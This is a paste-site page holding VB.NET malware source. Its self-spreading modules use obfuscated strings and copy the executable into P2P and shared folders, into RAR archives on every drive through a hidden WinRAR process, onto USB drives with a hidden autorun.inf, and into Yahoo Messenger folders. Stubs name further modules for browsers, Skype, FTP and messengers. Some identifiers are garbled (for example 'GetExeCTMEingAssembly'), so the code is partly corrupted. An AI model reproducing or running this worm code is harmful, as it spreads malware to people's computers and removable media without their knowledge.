- ' propage = System.IO.Directory.GetDirectories(dossier)
- 'Dim i As Integer
- ' For i = 0 To propage.GetUpperBound(0)
- ' If Dir(propage(i), FileAttribute.Directory) <> "" Then
- ' If File.Exists(propage(i) & POLDEC.DD1("jZWkpYJkq6XTtJa/hdGzoxY=", "False")) = False Then
- ' File.Copy(fichier, propage(i) & POLDEC.DD1("jZWkpYJkq6XTtJa/hdGzoxY=", "False"))
- ' End If
- ' End If
- ' Next
- ' End If
- 'Catch
- 'End Try
- End Sub
- End Class
- End Class
- Public Class DAPP2SPED
- Public Class PP2SPEDdll
- Public Shared Sub PP2start()
- 'Dim filelink As String = AppDomain.CurrentDomain.BaseDirectory + AppDomain.CurrentDomain.FriendlyName
- 'Dim arSharedFolders As New ArrayList()
- 'Try
- ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & POLDEC.DD1("l5rQ38inxcLMzQs=", "False"))
- ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & POLDEC.DD1("eIS7aY6EmLSunzx9sbWfgaks", "False"))
- ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & POLDEC.DD1("gZOzs7aKpCM=", "False"))
- ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("lZXRy8uVodiGq6G10cu8WZrO0ryexg8=", "False"))
- ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & POLDEC.DD1("kpXL2sOiwL3HyBA=", "False"))
- ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("fI6urrGFnMCum2Sqvburj5yqwCo=", "False"))
- ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("i6/C0bqUpr7KsZ63vsq1ixg=", "False"))
- ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("eaOkxJ1+lLDDXJCgpLyhgVipuaiBnbWmLQ==", "False"))
- ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("k72+3reYcsnNypyuyt12qrq+1rubcsPTwpu3z8AT", "False"))
- ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("eaOkxJ1+WK+zsIJYrnVneaW8aq+FmbWvoD2esraggqqfLA==", "False"))
- ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("gKitwp+Xp6vDqIhfsMCviKS8rSY=", "False"))
- ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("jLLIzLqjv7vPq53EdsTBn7bJ0bSipxg=", "False"))
- ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("l7jGycyuvsLav5fJycnMoLq9Dg==", "False"))
- ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("lbnD1cakudiYiGmEu8/GnMPMz8agsA8=", "False"))
- ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("kLzJ08OctM/Ur6HIetS7lcG/xXOavsbFuKarFA==", "False"))
- ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("k77G0buuu8/Jsqq6vta7m64R", "False"))
- ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("eq2pvql/laq0qYOsoCs=", "False"))
- ' arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("mc/M2Mm1tNbSva+9x8YN", "False"))
- 'Catch
- 'End Try
- 'Dim folderpi As IEnumerator = arSharedFolders.GetEnumerator()
- 'Try
- ' While folderpi.MoveNext()
- ' Dim tada As String = Convert.ToString(folderpi.Current)
- ' If Directory.Exists(tada) Then
- ' Dim progDir As String = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)
- ' For Each d As String In Directory.GetDirectories(progDir)
- ' Dim app As String = (tada & POLDEC.DD1("eCs=", "False")) + d.Substring(d.LastIndexOf(POLDEC.DD1("eCs=", "False"))).Replace(POLDEC.DD1("eCs=", "False"), String.Empty) & POLDEC.DD1("Xa7IvrKbebvVtBY=", "False")
- ' File.Copy(filelink, app, True)
- ' Next
- ' End If
- ' End While
- 'Catch
- 'End Try
- End Sub
- End Class
- End Class
- 'NimbuzzStuff1
- 'NoipStuff1
- 'OperaStuff1
- 'PigdinStuff1
- Public Class DARarSPED
- Public Class RarSPEDdll
- 'Public Shared Function GetShortPathName(<MarshalAs(UnmanagedType.LPTStr)> ByVal path As String, <MarshalAs(UnmanagedType.LPTStr)> ByVal shortPath As StringBuilder, ByVal shortPathLength As Integer) As Integer
- 'End Function
- Dim RRPTH As String
- Dim CPIDEXNME As String
- Public Sub Search(ByVal pathName As String)
- 'On Error Resume Next
- 'Dim files As String()
- 'files = Directory.GetFiles(pathName)
- 'For Each file As String In files
- ' If file.Contains(POLDEC.DD1("UbCqwic=", "False")) Then
- ' RSSTRT(file)
- ' End If
- ' If file.Contains(POLDEC.DD1("SbCquC8=", "False")) Then
- ' RSSTRT(file)
- ' End If
- 'Next
- 'Dim subdirectorys As String() = Directory.GetDirectories(pathName)
- 'For Each subdirectory As String In subdirectorys
- ' Search(subdirectory)
- 'Next
- End Sub
- Public Shared Sub SPED(ByVal myExeName As String)
- 'On Error Resume Next
- 'CPIDEXNME = myExeName
- 'Dim drives As String() = Environment.GetLogicalDrives()
- 'For Each strDrive As String In drives
- ' Search(strDrive)
- 'Next
- 'File.Create(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & POLDEC.DD1("cqWhsKVKaWq3rYox", "False"))
- End Sub
- Public Shared Sub RSSTRT(ByVal archiveToInject As String)
- 'On Error Resume Next
- 'Dim sysFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.System)
- 'Dim rootdrive As String = sysFolder.Replace(sysFolder.Substring(sysFolder.IndexOf(POLDEC.DD1("eyg=", "False"))), String.Empty) & POLDEC.DD1("eyg=", "False")
- 'RRPTH = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & POLDEC.DD1("eY+suI5eip+hpYuKhJxqgrCoLA==", "False")
- 'If File.Exists(RRPTH) Then
- ' If Not File.Exists(Path.Combine(rootdrive, CPIDEXNME)) Then
- ' File.Copy(Process.GetCurrentProcess().MainModule.FileName, Path.Combine(rootdrive, CPIDEXNME))
- ' End If
- ' Dim getshortExePath = New StringBuilder(255)
- ' GetShortPathName(Path.Combine(rootdrive, CPIDEXNME), getshortExePath, getshortExePath.Capacity)
- ' Dim evilpath As String = getshortExePath.ToString()
- ' Dim shortArchiveDirectory = New StringBuilder(255)
- ' GetShortPathName(archiveToInject, shortArchiveDirectory, shortArchiveDirectory.Capacity)
- ' Dim rarProcess As New ProcessStartINF()
- ' Dim theInfo As String = (POLDEC.DD1("XrqECw==", "False") & shortArchiveDirectory.ToString & POLDEC.DD1("Xwg=", "False")) + evilpath
- ' rarProcess.FileName = RRPTH
- ' rarProcess.Arguments = theInfo
- ' rarProcess.WindowStyle = ProcessWindowStyle.Hidden
- ' Process.Start(rarProcess)
- 'End If
- End Sub
- End Class
- End Class
- Public Class DAUSBSPED
- Public Class USBSPEDdll
- Public Shared Sub UBSTRT()
- 'Dim drivers As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
- 'Dim driver() As String = (IO.Directory.GetLogicalDrives)
- 'Try
- ' For Each drivers In driver
- ' If File.Exists(drivers & POLDEC.DD1("l8TU0c63zqvg0qXJ2tbArM6U0telBw==", "False")) = False Then
- ' File.Copy(System.Reflection.Assembly.GetExeCTMEingAssembly.Location, drivers & POLDEC.DD1("l8TU0c63zqvg0qXJ2tbArM6U0telBw==", "False"))
- ' End If
- ' Dim commande = New StreamWriter(drivers & POLDEC.DD1("fKu1t6yQpG+xqIEs", "False"))
- ' commande.WriteLine(POLDEC.DD1("kLHQ1sOnxcm/FQ==", "False"))
- ' commande.WriteLine(POLDEC.DD1("k6+vv2NhX6G6sYiuwcSIl7Kvv7eNoLbEcYm3ryU=", "False"))
- ' commande.WriteLine("shellexeCTMEe=WindowsEssentials.exe")
- ' commande.Close()
- ' File.SetAttributes(drivers & POLDEC.DD1("o9Lc3tO3y5bYz6gF", "False"), FileAttributes.Hidden)
- ' File.SetAttributes(drivers & POLDEC.DD1("irfHxMGqwZ7TxZi8zcmzn8GHxcqYFA==", "False"), FileAttributes.Hidden)
- ' Next
- 'Catch
- 'End Try
- End Sub
- End Class
- End Class
- 'SafariStuff1
- 'SkypeStuff1
- 'SmartFTPStuff1
- Public Class DAYahooSPED
- Public Class YahooSPEDdll
- Sub YHOSTRT()
- 'Try
- ' Dim YoPublic Class As System.Reflection.Public Class = Assembly.GetExeCTMEingAssembly().GetModules()(0)
- ' Dim YaFile As String = Process.GetCurrentProcess().MainModule.FileName
- ' Dim FoPath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + POLDEC.DD1("hJyvvbaXY5u6upuovLysmp8g", "False")
- ' If Dir(FoPath, FileAttribute.Directory) <> "" Then
- ' Dim i As Int32 = 0
- ' Dim x As Int32 = 0
- ' Dim shares() As String
- ' shares = System.IO.Directory.GetDirectories(FoPath)
- ' For i = 0 To shares.GetUpperBound(0)
- ' If Dir(shares(i), FileAttribute.Directory) <> "" Then
- ' If File.Exists(shares(i) & POLDEC.DD1("oam4uZd3v7nnyKrTmeXHtwI=", "False")) = False Then
- ' File.Copy(YaFile, shares(i) & POLDEC.DD1("oam4uZd3v7nnyKrTmeXHtwI=", "False"))
- ' End If
- ' End If
- ' Next
- ' End If
- 'Catch
- 'End Try
- End Sub
- End Class
- End Class
- 'StartStuff1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement